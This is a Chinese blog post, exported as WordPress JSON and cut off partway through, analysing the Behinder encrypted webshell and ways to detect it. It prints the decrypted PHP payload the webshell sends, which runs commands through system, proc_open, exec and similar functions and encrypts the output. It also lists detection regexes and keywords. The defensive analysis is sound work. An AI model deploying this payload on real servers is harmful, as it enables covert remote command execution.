{"id":3892,"date":"2021-04-09T19:26:36","date_gmt":"2021-04-09T11:26:36","guid":{"rendered":"https:\/\/www.liangliang.org.cn\/?p=3892"},"modified":"2021-04-09T19:26:36","modified_gmt":"2021-04-09T11:26:36","slug":"%e7%ba%a2%e8%93%9d%e5%af%b9%e6%8a%97-%e5%8a%a0%e5%af%86webshell%e5%86%b0%e8%9d%8e%e6%94%bb%e9%98%b2","status":"publish","type":"post","link":"https:\/\/www.liangliang.org.cn\/?p=3892","title":{"rendered":"\u7ea2\u84dd\u5bf9\u6297\u2014\u2014\u52a0\u5bc6Webshell\u201c\u51b0\u874e\u201d\u653b\u9632"},"content":{"rendered":"<h1>\u7ea2\u84dd\u5bf9\u6297\u2014\u2014\u52a0\u5bc6Webshell\u201c\u51b0\u874e\u201d\u653b\u9632<\/h1>\n<p>\u6f14\u7ec3\u4e2d\uff0c\u7b2c\u4e00\u4ee3webshell\u7ba1\u7406\u5de5\u5177\u201c\u83dc\u5200\u201d\u7684\u653b\u51fb\u6d41\u91cf\u7279\u5f81\u660e\u663e\uff0c\u5bb9\u6613\u88ab\u5b89\u5168\u8bbe\u5907\u68c0\u6d4b\u5230\uff0c\u653b\u51fb\u65b9\u8d8a\u6765\u8d8a\u5c11\u4f7f\u7528\uff0c\u52a0\u5bc6webshell\u6b63\u53d8\u5f97\u8d8a\u6765\u8d8a\u6d41\u884c\uff0c\u7531\u4e8e\u6d41\u91cf\u52a0\u5bc6\uff0c\u4f20\u7edf\u7684WAF\u3001WebIDS\u8bbe\u5907\u96be\u4ee5\u68c0\u6d4b\uff0c\u7ed9\u5a01\u80c1\u76d1\u63a7\u5e26\u6765\u8f83\u5927\u6311\u6218\u3002\u8fd9\u5176\u4e2d\u6700\u51fa\u540d\u5c31\u662f\u201c\u51b0\u874e\u201d\uff0c\u201c\u51b0\u874e\u201d\u662f\u4e00\u6b3e\u52a8\u6001\u4e8c\u8fdb\u5236\u52a0\u5bc6\u7f51\u7ad9\u7ba1\u7406\u5ba2\u6237\u7aef\uff0c\u6f14\u7ec3\u4e2d\u7ed9\u9632\u5b88\u65b9\u9020\u6210\u5f88\u5927\u56f0\u6270\uff0c\u672c\u6587\u5c06\u5bf9\u201c\u51b0\u874e\u201d\u7684\u52a0\u5bc6\u539f\u7406\u3001\u6d41\u91cf\u7279\u5f81\u3001\u68c0\u6d4b\u65b9\u6848\u8fdb\u884c\u63a2\u8ba8\u3002<\/p>\n<h3>0x01 \u201c\u51b0\u874e\u201d\u4ecb\u7ecd&amp;\u52a0\u5bc6\u539f\u7406<\/h3>\n<p>\u201c\u51b0\u874e\u201d\u9879\u76ee\u5730\u5740\uff1a<a href=\"https:\/\/github.com\/rebeyond\/Behinder\">https:\/\/github.com\/rebeyond\/Behinder<\/a> \u201c\u51b0\u874e\u201d\u76ee\u524d\u6700\u65b0\u7248\u672c\u4e3av2.1\uff0c\u517c\u5bb9\u6027\u5df2\u7ecf\u65e5\u76ca\u5b8c\u5584\uff0c\u52a0\u5bc6\u4e0d\u518d\u4f9d\u8d56PHP openssl\u6269\u5c55\u529f\u80fd\uff0c\u540c\u65f6\u652f\u6301\u4e86\u7b80\u5355\u7684ASP\u3002\u4e3b\u4f53\u529f\u80fd\u65b9\u9762\u5305\u62ec\u865a\u62df\u7ec8\u7aef\u3001socks\u4ee3\u7406\u3001\u6587\u4ef6\u7ba1\u7406\u3001\u53cd\u5f39shell\u3001\u6570\u636e\u5e93\u7ba1\u7406\u7b49\u7b49\uff0c\u529f\u80fd\u5f3a\u5927\u3002<\/p>\n<p><a href=\"https:\/\/img2018.cnblogs.com\/blog\/1775417\/201910\/1775417-20191009121921679-752439276.png\"><img decoding=\"async\" src=\"https:\/\/img2018.cnblogs.com\/blog\/1775417\/201910\/1775417-20191009121921679-752439276.png\" alt=\"img\" \/><\/a><\/p>\n<p>\u52a0\u5bc6\u539f\u7406\u65b9\u9762\uff0c\u4ee5PHP\u73af\u5883\u4e3a\u4f8b\uff0c<strong>\u300a\u5229\u7528\u52a8\u6001\u4e8c\u8fdb\u5236\u52a0\u5bc6\u5b9e\u73b0\u65b0\u578b\u4e00\u53e5\u8bdd\u6728\u9a6c\u4e4bPHP\u7bc7\u300b[1]\u8fd9\u7bc7\u6587\u7ae0\u5bf9\u201c\u51b0\u874e\u201c\u7684\u539f\u7406\u5df2\u7ecf\u505a\u4e86\u8be6\u7ec6\u7684\u5206\u6790\uff0c\u7b80\u8981\u4ecb\u7ecd\u4e00\u4e0b\u52a0\u5bc6\u6d41\u7a0b\uff1a<\/strong><\/p>\n<p><a href=\"https:\/\/img2018.cnblogs.com\/blog\/1775417\/201910\/1775417-20191009121933911-233211222.png\"><img decoding=\"async\" src=\"https:\/\/img2018.cnblogs.com\/blog\/1775417\/201910\/1775417-20191009121933911-233211222.png\" alt=\"img\" \/><\/a><\/p>\n<ul>\n<li>\u9996\u5148\u5ba2\u6237\u7aef\u4ee5Get\u5f62\u5f0f\u53d1\u8d77\u5e26\u5bc6\u7801\u7684\u63e1\u624b\u8bf7\u6c42\uff0c\u670d\u52a1\u7aef\u4ea7\u751f\u968f\u673a\u5bc6\u94a5\u5e76\u5199\u5165Session\u3002<\/li>\n<li>\u5ba2\u6237\u7aef\u5c06\u6e90\u4ee3\u7801\uff0c\u5982assert|eval(&quot;phpinfo();\u201d)\u5229\u7528AES\u52a0\u5bc6\uff0c\u53d1\u9001\u81f3\u670d\u52a1\u7aef\uff0c\u670d\u52a1\u7aef\u6536\u5230\u4e4b\u540e\u5148\u8fdb\u884cAES\u89e3\u5bc6\uff0c\u5f97\u5230\u4e2d\u95f4\u7ed3\u679c\u5b57\u7b26\u4e32assert|eval(&quot;phpinfo();&quot;)\u3002<\/li>\n<li>\u670d\u52a1\u7aef\u5229\u7528explode\u51fd\u6570\u5c06\u62c6\u5206\u4e3a\u4e00\u4e2a\u5b57\u7b26\u4e32\u6570\u636e\uff0c\u7d22\u5f15\u4e3a0\u7684\u5143\u7d20\u4e3a\u5b57\u7b26\u4e32assert\uff0c\u7d22\u5f15\u4e3a1\u7684\u5143\u7d20\u4e3a\u5b57\u7b26\u4e32eval(&quot;phpinfo();&quot;)\u3002<\/li>\n<li>\u4ee5\u53ef\u53d8\u51fd\u6570\u65b9\u5f0f\u8c03\u7528\u7d22\u5f15\u4e3a0\u7684\u6570\u7ec4\u5143\u7d20\uff0c\u53c2\u6570\u4e3a\u7d22\u5f15\u4e3a1\u7684\u6570\u7ec4\u5143\u7d20\uff0c\u5373\u4e3aassert(&quot;eval(&quot;phpinfo;&quot;)&quot;) \u3002<\/li>\n<\/ul>\n<h3>0x02 \u201c\u51b0\u874e\u201d\u52a0\u5bc6\u6d41\u91cf\u5206\u6790<\/h3>\n<p>\u901a\u8fc7wireshark\u8fdb\u884c\u6293\u5305\u5206\u6790\uff0c\u6d41\u91cf\u5982\u4e0b\uff1a<\/p>\n<p><a href=\"https:\/\/img2018.cnblogs.com\/blog\/1775417\/201910\/1775417-20191009122003936-399884053.png\"><img decoding=\"async\" src=\"https:\/\/img2018.cnblogs.com\/blog\/1775417\/201910\/1775417-20191009122003936-399884053.png\" alt=\"img\" \/><\/a><\/p>\n<p><a href=\"https:\/\/img2018.cnblogs.com\/blog\/1775417\/201910\/1775417-20191009122015277-1538374144.png\"><img decoding=\"async\" src=\"https:\/\/img2018.cnblogs.com\/blog\/1775417\/201910\/1775417-20191009122015277-1538374144.png\" alt=\"img\" \/><\/a><\/p>\n<p>\u6309\u7167\u6d41\u7a0b\uff0c\u5ba2\u6237\u7aef\u9996\u5148get\u8bf7\u6c42\u751f\u4ea7\u968f\u673a\u5bc6\u94a5\uff0cserver\u8fd4\u56de\u751f\u6210\u768416\u4f4d\u5bc6\u94a5\uff1a<strong>0x7037af5d95561f3d<\/strong>\u3002\u8fd9\u4e2aget\u8bf7\u6c42\u7684session ID\u4e3a <strong>466geshjq6hr15kbmd72ju24g5<\/strong>\u3002<\/p>\n<p>\u5f97\u5230\u5bc6\u94a5\u540e\uff0c\u5ba2\u6237\u7aef\u5bf9\u9700\u8981\u6267\u884c\u7684\u547d\u4ee4\u8fdb\u884cAES\u52a0\u5bc6\uff0c\u52a0\u5bc6\u540e\u7684\u901a\u8baf\u6d41\u91cf\u5982\u4e0b\uff0c\u6ca1\u6709\u4efb\u4f55\u653b\u51fb\u7279\u5f81\uff0c\u5b89\u5168\u8bbe\u5907\u96be\u4ee5\u6839\u636e\u7279\u5f81\u8fdb\u884c\u68c0\u6d4b\uff1a<\/p>\n<p><a href=\"https:\/\/img2018.cnblogs.com\/blog\/1775417\/201910\/1775417-20191009122056744-1496758211.png\"><img decoding=\"async\" src=\"https:\/\/img2018.cnblogs.com\/blog\/1775417\/201910\/1775417-20191009122056744-1496758211.png\" alt=\"img\" \/><\/a><\/p>\n<p>\u6211\u4eec\u7528\u5bc6\u94a5\u5bf9\u8be5\u4fe1\u606f\u8fdb\u884c\u89e3\u5bc6\uff1a<\/p>\n<p><a href=\"https:\/\/img2018.cnblogs.com\/blog\/1775417\/201910\/1775417-20191009122109151-2115377106.png\"><img decoding=\"async\" src=\"https:\/\/img2018.cnblogs.com\/blog\/1775417\/201910\/1775417-20191009122109151-2115377106.png\" alt=\"img\" \/><\/a><\/p>\n<p>\u53d1\u73b0\u89e3\u5bc6\u540e\u6267\u884c\u7684\u547d\u4ee4\u88abbase64\u7f16\u7801\u4e86\uff0c\u8fdb\u4e00\u6b65\u8fdb\u884cbase64\u89e3\u7801\u540e\uff0c\u5f97\u5230\u6267\u884c\u7684\u547d\u4ee4\u5982\u4e0b\uff1a<\/p>\n<pre><code>@error_reporting(0);\n\nfunction getSafeStr($str){\n    $s1 = iconv(&#039;utf-8&#039;,&#039;gbk\/\/IGNORE&#039;,$str);\n    $s0 = iconv(&#039;gbk&#039;,&#039;utf-8\/\/IGNORE&#039;,$s1);\n    if($s0 == $str){\n        return $s0;\n    }else{\n        return iconv(&#039;gbk&#039;,&#039;utf-8\/\/IGNORE&#039;,$str);\n    }\n}\nfunction main($cmd)\n{\n    @set_time_limit(0);\n    @ignore_user_abort(1);\n    @ini_set(&#039;max_execution_time&#039;, 0);\n    $result = array();\n    $PadtJn = @ini_get(&#039;disable_functions&#039;);\n    if (! empty($PadtJn)) {\n        $PadtJn = preg_replace(&#039;\/[, ]+\/&#039;, &#039;,&#039;, $PadtJn);\n        $PadtJn = explode(&#039;,&#039;, $PadtJn);\n        $PadtJn = array_map(&#039;trim&#039;, $PadtJn);\n    } else {\n        $PadtJn = array();\n    }\n    $c = $cmd;\n    if (FALSE !== strpos(strtolower(PHP_OS), &#039;win&#039;)) {\n        $c = $c . &quot; 2&gt;&amp;1\\n&quot;;\n    }\n    $JueQDBH = &#039;is_callable&#039;;\n    $Bvce = &#039;in_array&#039;;\n    if ($JueQDBH(&#039;system&#039;) and ! $Bvce(&#039;system&#039;, $PadtJn)) {\n        ob_start();\n        system($c);\n        $kWJW = ob_get_contents();\n        ob_end_clean();\n    } else if ($JueQDBH(&#039;proc_open&#039;) and ! $Bvce(&#039;proc_open&#039;, $PadtJn)) {\n        $handle = proc_open($c, array(\n            array(\n                &#039;pipe&#039;,\n                &#039;r&#039;\n            ),\n            array(\n                &#039;pipe&#039;,\n                &#039;w&#039;\n            ),\n            array(\n                &#039;pipe&#039;,\n                &#039;w&#039;\n            )\n        ), $pipes);\n        $kWJW = NULL;\n        while (! feof($pipes[1])) {\n            $kWJW .= fread($pipes[1], 1024);\n        }\n        @proc_close($handle);\n    } else if ($JueQDBH(&#039;passthru&#039;) and ! $Bvce(&#039;passthru&#039;, $PadtJn)) {\n        ob_start();\n        passthru($c);\n        $kWJW = ob_get_contents();\n        ob_end_clean();\n    } else if ($JueQDBH(&#039;shell_exec&#039;) and ! $Bvce(&#039;shell_exec&#039;, $PadtJn)) {\n        $kWJW = shell_exec($c);\n    } else if ($JueQDBH(&#039;exec&#039;) and ! $Bvce(&#039;exec&#039;, $PadtJn)) {\n        $kWJW = array();\n        exec($c, $kWJW);\n        $kWJW = join(chr(10), $kWJW) . chr(10);\n    } else if ($JueQDBH(&#039;exec&#039;) and ! $Bvce(&#039;popen&#039;, $PadtJn)) {\n        $fp = popen($c, &#039;r&#039;);\n        $kWJW = NULL;\n        if (is_resource($fp)) {\n            while (! feof($fp)) {\n                $kWJW .= fread($fp, 1024);\n            }\n        }\n        @pclose($fp);\n    } else {\n        $kWJW = 0;\n        $result[&quot;status&quot;] = base64_encode(&quot;fail&quot;);\n        $result[&quot;msg&quot;] = base64_encode(&quot;none of proc_open\/passthru\/shell_exec\/exec\/exec is available&quot;);\n        $key = $_SESSION[&#039;k&#039;];\n        echo encrypt(json_encode($result), $key);\n        return;\n\n    }\n    $result[&quot;status&quot;] = base64_encode(&quot;success&quot;);\n    $result[&quot;msg&quot;] = base64_encode(getSafeStr($kWJW));\n    echo encrypt(json_encode($result),  $_SESSION[&#039;k&#039;]);\n}\n\nfunction encrypt($data,$key)\n{\n    if(!extension_loaded(&#039;openssl&#039;))\n        {\n            for($i=0;$i&lt;strlen($data);$i++) {\n                 $data[$i] = $data[$i]^$key[$i+1&amp;15];\n                }\n            return $data;\n        }\n    else\n        {\n            return openssl_encrypt($data, &quot;AES128&quot;, $key);\n        }\n}$cmd=&quot;pwd&quot;;\nmain($cmd);<\/code><\/pre>\n<p>\u53ef\u4ee5\u770b\u5230\uff0c\u7ecf\u8fc7\u4e00\u4e9b\u5217\u7684\u5904\u7406\uff0c\u6700\u7ec8\u6267\u884c\u7684\u547d\u4ee4\u662f\u201cpwd\u201d\uff0c\u547d\u4ee4\u6267\u884c\u7684\u7ed3\u679c\u4fdd\u5b58\u5728json\u4e32result\u4e2d\uff0cresult[&quot;status&quot;] \u8868\u793a\u547d\u4ee4\u662f\u5426\u6267\u884c\u6210\u529f\uff0cresult[&quot;msg&quot;]\u8868\u793a\u547d\u4ee4\u6267\u884c\u7684\u7ed3\u679c\u3002\u51b0\u874e\u5bf9\u6267\u884c\u7684\u8fd4\u56de\u7ed3\u679cresult\u4e5f\u8fdb\u884c\u4e86\u52a0\u5bc6\uff0c\u52a0\u5bc6\u65b9\u5f0f\u4e5f\u662f\u91c7\u7528\u7684AES\uff08\u5982\u679cphp\u6ca1\u6709\u5f00\u542fopenssl\u6269\u5c55\uff0c\u5728\u91c7\u7528\u660e\u6587\u548c\u5bc6\u94a5\u9010\u4f4d\u5f02\u6216\u8fdb\u884c\u52a0\u5bc6\uff09\uff0c\u5bc6\u94a5\u4e5f\u662f\u5229\u7528\u7b2c\u4e00\u6b65\u968f\u673aget\u4ea7\u751f\u7684\u5bc6\u94a5\u3002<\/p>\n<h3>0x03 \u201c\u51b0\u874e\u201d\u68c0\u6d4b\u601d\u8def<\/h3>\n<p>\u68c0\u6d4b\u601d\u8def\u53ef\u4ee5\u4ece\u6d41\u91cf\u3001\u5e94\u7528\u3001\u4e3b\u673a\u4e09\u4e2a\u5c42\u9762\u5165\u624b\u3002<\/p>\n<p><a href=\"https:\/\/img2018.cnblogs.com\/blog\/1775417\/201910\/1775417-20191009122131508-107950112.png\"><img decoding=\"async\" src=\"https:\/\/img2018.cnblogs.com\/blog\/1775417\/201910\/1775417-20191009122131508-107950112.png\" alt=\"img\" \/><\/a><\/p>\n<p><strong>\u601d\u8def\u4e00\uff1a\u6d41\u91cf\u4fa7<\/strong><\/p>\n<p>\uff081\uff09\u867d\u7136\u51b0\u874e\u7684\u901a\u8baf\u6d41\u91cf\u90fd\u662f\u52a0\u5bc6\u7684\uff0c\u4f46\u662f\u5728\u7b2c\u4e00\u6b65\uff0c\u51b0\u874e\u5fc5\u987b\u9700\u8981\u83b7\u5f97\u5bc6\u94a5\uff0c\u5177\u4f53\u6d41\u91cf\u7279\u5f81\uff1a<br \/>\n1\u3001\u662f\u4e00\u4e2aget\u8bf7\u6c42\uff0curl\u4e2d\u5e26\u4e0a\u53c2\u6570?pass\uff08\u53c2\u6570\u540d\u79f0\u53ef\u53d8\uff09<\/p>\n<p><a href=\"https:\/\/img2018.cnblogs.com\/blog\/1775417\/201910\/1775417-20191009122142775-149270479.png\"><img decoding=\"async\" src=\"https:\/\/img2018.cnblogs.com\/blog\/1775417\/201910\/1775417-20191009122142775-149270479.png\" alt=\"img\" \/><\/a><\/p>\n<p>\u5bf9\u5e94\u7684\u68c0\u6d4b\u6b63\u5219\u8868\u8fbe\u5f0f\uff1a<\/p>\n<pre><code>\/[\\w.]*.[a-zA-Z]{3,4}\\?\\w{0,20}=\\d{0,10}<\/code><\/pre>\n<p>\u7531\u4e8e\u8be5\u8bf7\u6c42\u7279\u5f81\u4e0d\u660e\u663e\uff0c\u6b64\u6b63\u5219\u4f1a\u4ea7\u751f\u8f83\u591a\u8bef\u62a5\u3002<\/p>\n<p>2\u3001\u8fd4\u56de\u5305\u72b6\u6001\u7801\u4e3a200\uff0c\u8fd4\u56de\u5185\u5bb9\u5fc5\u5b9a\u662f16\u4f4d\u7684\u5bc6\u94a5<\/p>\n<p><a href=\"https:\/\/img2018.cnblogs.com\/blog\/1775417\/201910\/1775417-20191009122156570-606344397.png\"><img decoding=\"async\" src=\"https:\/\/img2018.cnblogs.com\/blog\/1775417\/201910\/1775417-20191009122156570-606344397.png\" alt=\"img\" \/><\/a><\/p>\n<p>\u5bf9\u5e94\u7684\u68c0\u6d4b\u6b63\u5219\u8868\u8fbe\u5f0f\uff1a<\/p>\n<pre><code>^[a-fA-F0-9]{16}$<\/code><\/pre>\n<p>\u8fd4\u56de\u5305\u7279\u5f81\u76f8\u5bf9\u660e\u663e\uff0c\u9488\u5bf9\u8fd9\u4e00\u7279\u5f81\u53ef\u4ee5\u5728WebIDS\u3001\u5168\u6d41\u91cf\u68c0\u6d4b\u7b49\u5b89\u5168\u8bbe\u5907\u4e2d\u5bf9\u8fd4\u56de\u5305\u5236\u5b9a\u76f8\u5e94\u7684\u7279\u5f81\u68c0\u6d4b\u89c4\u5219\u3002<\/p>\n<p>\uff082\uff09\u6309\u7167kill-chain\u7684\u6a21\u578b\uff0c\u9664\u4e86\u5728webshell\u901a\u4fe1\u7684\u65f6\u5019\u8fdb\u884c\u68c0\u6d4b\uff0c\u4e5f\u53ef\u4ee5\u5728\u4e0a\u4f20webshell\u65f6\uff08\u5373\u8f7d\u8377\u6295\u9012\u9636\u6bb5\uff09\u8fdb\u884c\u68c0\u6d4b\uff0c\u5bf9\u51b0\u874e\u7684webshell\u6728\u9a6c\u6587\u4ef6\u7279\u5f81\u5b9a\u5236\u7279\u5b9a\u7684\u68c0\u6d4b\u89c4\u5219\u3002\u4ee5php webshell\u6728\u9a6c\u4e3a\u4f8b\uff0cwebshell\u4e2d\u5305\u542b\u4e86openssl_decrypt\u3001base64\u3001eval\u7b49\u5173\u952e\u5b57\uff0c\u53ef\u4ee5\u5728WAF\u3001WebIDS\u3001\u6d41\u91cf\u68c0\u6d4b\u7b49\u5b89\u5168\u8bbe\u5907\u4e2d\u5b9a\u5236\u76f8\u5e94\u7684\u5173\u952e\u5b57\u8fdb\u884c\u68c0\u6d4b\u3002<\/p>\n<p><a href=\"https:\/\/img2018.cnblogs.com\/blog\/1775417\/201910\/1775417-20191009122206871-1594785127.png\"><img decoding=\"async\" src=\"https:\/\/img2018.cnblogs.com\/blog\/1775417\/201910\/1775417-20191009122206871-1594785127.png\" alt=\"img\" \/><\/a><\/p>\n<p>\uff083\uff09\u5b89\u5168\u5382\u5546\u65b9\u9762\uff0c\u8d8a\u6765\u8d8a\u591a\u7684\u5b89\u5168\u5382\u5546\u4e5f\u6b63\u5728\u5347\u7ea7\u68c0\u6d4b\u89c4\u5219\uff0c\u652f\u6301\u5bf9\u51b0\u874e\u7684\u68c0\u6d4b\uff0c\u68c0\u6d4b\u6548\u679c\u9700\u8981\u8fdb\u4e00\u6b65\u6d4b\u8bd5\u3002<\/p>\n<p><a href=\"https:\/\/img2018.cnblogs.com\/blog\/1775417\/201910\/1775417-20191009122214089-428206564.png\"><img decoding=\"async\" src=\"https:\/\/img2018.cnblogs.com\/blog\/1775417\/201910\/1775417-20191009122214089-428206564.png\" alt=\"img\" \/><\/a><\/p>\n<p>\u57fa\u4e8e\u6d41\u91cf\u7684\u68c0\u6d4b\u4e0d\u53ef\u907f\u514d\u7684\u53ef\u80fd\u4f1a\u4ea7\u751f\u8bef\u62a5\u7684\u95ee\u9898\uff0c\u9700\u8981\u7ed3\u5408\u4f01\u4e1a\u4e1a\u52a1\u5b9e\u9645\u6d41\u91cf\u8fdb\u884c\u8c03\u6574\uff1b\u540c\u65f6\uff0c\u51b0\u874e\u4e5f\u53ef\u4ee5\u8fdb\u4e00\u6b65\u5347\u7ea7\u6765\u89c4\u907f\u8fd9\u4e9b\u7279\u5f81\uff0c\u5355\u5355\u5229\u7528\u6d41\u91cf\u6765\u8fdb\u884c\u68c0\u6d4b\u96be\u4ee5\u5230\u8fbe\u5b8c\u5168\u7684\u68c0\u6d4b\u6548\u679c\u3002<\/p>\n<p><strong>\u601d\u8def\u4e8c\uff1a\u5e94\u7528\u4fa7\u2014\u2014OpenRASP\u68c0\u6d4b<\/strong><\/p>\n<p><strong>1\u3001\u4ec0\u4e48\u662fOpenRASP\uff1f<\/strong><\/p>\n<p>\u968f\u7740Web\u5e94\u7528\u653b\u51fb\u624b\u6bb5\u53d8\u5f97\u590d\u6742\uff0c\u57fa\u4e8e\u8bf7\u6c42\u7279\u5f81\u7684\u9632\u62a4\u624b\u6bb5\uff0c\u5df2\u7ecf\u4e0d\u80fd\u6ee1\u8db3\u4f01\u4e1a\u5b89\u5168\u9632\u62a4\u9700\u6c42\u3002Gartner\u57282014\u5e74\u63d0\u51fa\u4e86\u5e94\u7528\u81ea\u6211\u4fdd\u62a4\u6280\u672f\uff08RASP\uff09\u7684\u6982\u5ff5\uff0c\u5373\u5c06\u9632\u62a4\u5f15\u64ce\u5d4c\u5165\u5230\u5e94\u7528\u5185\u90e8\uff0c\u4e0d\u518d\u4f9d\u8d56\u5916\u90e8\u9632\u62a4\u8bbe\u5907\u3002OpenRASP\u662f\u8be5\u6280\u672f\u7684\u5f00\u6e90\u5b9e\u73b0\uff0c\u53ef\u4ee5\u5728\u4e0d\u4f9d\u8d56\u8bf7\u6c42\u7279\u5f81\u7684\u60c5\u51b5\u4e0b\uff0c\u51c6\u786e\u7684\u8bc6\u522b\u4ee3\u7801\u6ce8\u5165\u3001\u53cd\u5e8f\u5217\u5316\u7b49\u5e94\u7528\u5f02\u5e38\uff0c\u5f88\u597d\u7684\u5f25\u8865\u4e86\u4f20\u7edf\u8bbe\u5907\u9632\u62a4\u6ede\u540e\u7684\u95ee\u9898\u3002\u66f4\u591a\u7ec6\u8282\uff0c\u8bf7\u53c2\u8003<strong>\u300aOpenRASP \u6700\u4f73\u5b9e\u8df5\u300b[2]<\/strong><\/p>\n<p><a href=\"https:\/\/img2018.cnblogs.com\/blog\/1775417\/201910\/1775417-20191009122221506-170165507.png\"><img decoding=\"async\" src=\"https:\/\/img2018.cnblogs.com\/blog\/1775417\/201910\/1775417-20191009122221506-170165507.png\" alt=\"img\" \/><\/a><\/p>\n<p><strong>2\u3001RASP \u6280\u672f\u548c\u73b0\u6709\u65b9\u6848\u4e3b\u8981\u533a\u522b<\/strong><\/p>\n<p>\u9996\u5148\uff0cRASP \u51e0\u4e4e\u6ca1\u6709\u8bef\u62a5\u60c5\u51b5\u3002\u8fb9\u754c\u8bbe\u5907\u57fa\u4e8e\u8bf7\u6c42\u7279\u5f81\u68c0\u6d4b\u653b\u51fb\uff0c\u901a\u5e38\u65e0\u6cd5\u5f97\u77e5\u653b\u51fb\u662f\u5426\u6210\u529f\u3002\u5bf9\u4e8e\u626b\u63cf\u5668\u7684\u8e29\u70b9\u884c\u4e3a\u3001nday \u626b\u63cf\uff0c\u4e00\u822c\u4f1a\u4ea7\u751f\u5927\u91cf\u62a5\u8b66\u3002RASP \u8fd0\u884c\u5728\u5e94\u7528\u5185\u90e8\uff0c\u5931\u8d25\u7684\u653b\u51fb\u4e0d \u4f1a\u89e6\u53d1\u68c0\u6d4b\u903b\u8f91\uff0c\u6240\u4ee5\u6bcf\u6761\u653b\u51fb\u90fd\u662f\u6210\u529f\u7684\u62a5\u8b66\u3002<\/p>\n<p>\u5176\u6b21\uff0cRASP \u53ef\u4ee5\u53d1\u73b0\u66f4\u591a\u653b\u51fb\u3002\u4ee5SQL\u6ce8\u5165\u4e3a\u4f8b\uff0c\u8fb9\u754c\u8bbe\u5907\u53ea\u80fd\u770b\u5230\u8bf7\u6c42\u4fe1\u606f\u3002RASP \u4e0d\u4f46\u80fd\u591f \u770b\u5230\u8bf7\u6c42\u4fe1\u606f\uff0c\u8fd8\u80fd\u770b\u5230\u5b8c\u6574\u7684SQL\u8bed\u53e5\uff0c\u5e76\u8fdb\u884c\u5173\u8054\u3002\u5982\u679cSQL\u6ce8\u5165\u8ba9\u670d\u52a1\u5668\u4ea7\u751f\u4e86\u8bed\u6cd5\u9519\u8bef\u6216 \u8005\u5176\u4ed6\u5f02\u5e38\uff0cRASP\u5f15\u64ce\u4e5f\u80fd\u591f\u8bc6\u522b\u548c\u5904\u7406\u3002<\/p>\n<p>\u6700\u540e\uff0cRASP \u53ef\u4ee5\u5bf9\u6297\u672a\u77e5\u6f0f\u6d1e\u3002\u53d1\u751f\u653b\u51fb\u65f6\uff0c\u8fb9\u754c\u9632\u62a4\u8bbe\u5907\u65e0\u6cd5\u638c\u63e1\u5e94\u7528\u4e0b\u4e00\u6b65\u7684\u52a8\u5411\u3002RASP \u6280\u672f\u53ef\u4ee5\u8bc6\u522b\u51fa\u5f02\u5e38\u7684\u7a0b\u5e8f\u903b\u8f91\uff0c\u6bd4\u5982\u53cd\u5e8f\u5217\u5316\u6f0f\u6d1e\u5bfc\u81f4\u7684\u547d\u4ee4\u6267\u884c\uff0c\u56e0\u6b64\u53ef\u4ee5\u5bf9\u6297\u672a\u77e5\u6f0f\u6d1e\u3002<\/p>\n<p><strong>3\u3001OpenRASP \u90e8\u7f72<\/strong><\/p>\n<p>\u76ee\u524d\uff0cOpenRASP \u652f\u6301 Java \u548c PHP \u4e24\u79cd\u5f00\u53d1\u8bed\u8a00\uff0c\u5177\u4f53\u5b89\u88c5\u6559\u7a0b\u8bf7\u53c2\u8003\uff1a<a href=\"https:\/\/rasp.baidu.com\/doc\/install\/main.html\">https:\/\/rasp.baidu.com\/doc\/install\/main.html<\/a><\/p>\n<p><a href=\"https:\/\/img2018.cnblogs.com\/blog\/1775417\/201910\/1775417-20191009122229029-1731707342.png\"><img decoding=\"async\" src=\"https:\/\/img2018.cnblogs.com\/blog\/1775417\/201910\/1775417-20191009122229029-1731707342.png\" alt=\"img\" \/><\/a><\/p>\n<p>\u4ee5PHP\u4e3a\u4f8b\uff0c\u5e94\u7528\u5b89\u88c5\u6210\u529f\u540e\uff0c\u4f1a\u5728\u8fd4\u56de\u5305\u5934\u4e2d\u6dfb\u52a0X-Protected-By\uff1aOpenRASP\u5b57\u6bb5\uff0c\u5982\u4e0b\u56fe\u6240\u793a\uff1a<\/p>\n<p><a href=\"https:\/\/img2018.cnblogs.com\/blog\/1775417\/201910\/1775417-20191009122235514-2136787301.png\"><img decoding=\"async\" src=\"https:\/\/img2018.cnblogs.com\/blog\/1775417\/201910\/1775417-20191009122235514-2136787301.png\" alt=\"img\" \/><\/a><\/p>\n<p>\u6b64\u65f6\uff0c\u6211\u4eec\u518d\u6b21\u5229\u7528\u51b0\u874e\u8fdb\u884c\u547d\u4ee4\u6267\u884c\u64cd\u4f5c\uff0c\u53d1\u73b0OpenRASP\u7684\u68c0\u6d4b\u5f15\u64ce\u5df2\u7ecf\u5b8c\u7f8e\u53d1\u73b0\u52a0\u5bc6\u6d41\u91cf\uff0c\u5e76\u68c0\u6d4b\u51fa\u6267\u884c\u7684\u547d\u4ee4\u201cwhoami\u201d\u3002<a href=\"https:\/\/img2018.cnblogs.com\/blog\/1775417\/201910\/1775417-20191009122242185-66459927.png\"><img decoding=\"async\" src=\"https:\/\/img2018.cnblogs.com\/blog\/1775417\/201910\/1775417-20191009122242185-66459927.png\" alt=\"img\" \/><\/a><\/p>\n<p>\u867d\u7136OpenRASP\u6709\u5f88\u591a\u4f18\u52bf\uff0c\u53ef\u4ee5\u51c6\u786e\u68c0\u6d4b\u51fa\u4e00\u4e9b\u672a\u77e5\u6f0f\u6d1e\uff0c\u4f46\u662f\u7531\u4e8e\u5176\u672c\u8eab\u7684\u5b9e\u73b0\u4e5f\u5b58\u5728\u4e00\u4e9b\u95ee\u9898\u4f7f\u5176\u5728\u5927\u89c4\u6a21\u63a8\u5e7f\u8fd8\u6709\u4e00\u5b9a\u96be\u5ea6\u3002\u6bd4\u5982RASP\u5bf9\u5e94\u7528\u4fb5\u5165\u8fc7\u5927\u3001angent\u7684\u5b89\u88c5\u53ef\u80fd\u5bf9\u7cfb\u7edf\u6027\u80fd\u7684\u5f71\u54cd\u3001\u4f01\u4e1a\u5927\u89c4\u6a21\u90e8\u7f72\u8fd0\u7ef4\u7684\u538b\u529b\u7b49\u7b49\u3002<\/p>\n<p><strong>\u601d\u8def\u4e09\uff1a\u4e3b\u673a\u4fa7<\/strong><\/p>\n<p><strong>\uff081\uff09\u5b9a\u671f\u5bf9\u670d\u52a1\u5668\u8fdb\u884cwebshell\u6587\u4ef6\u626b\u63cf\u67e5\u6740<\/strong><\/p>\n<p>\u8fd9\u91cc\u7528D\u76fe\u3001\u6cb3\u9a6c\u548cOpenRASP\u56e2\u961f\u5f00\u53d1\u7684\u4e0b\u4e00\u4ee3WebShell\u68c0\u6d4b\u5f15\u64ce<strong>webdir+[3]\u8fdb\u884c\u6d4b\u8bd5\uff0c\u68c0\u6d4b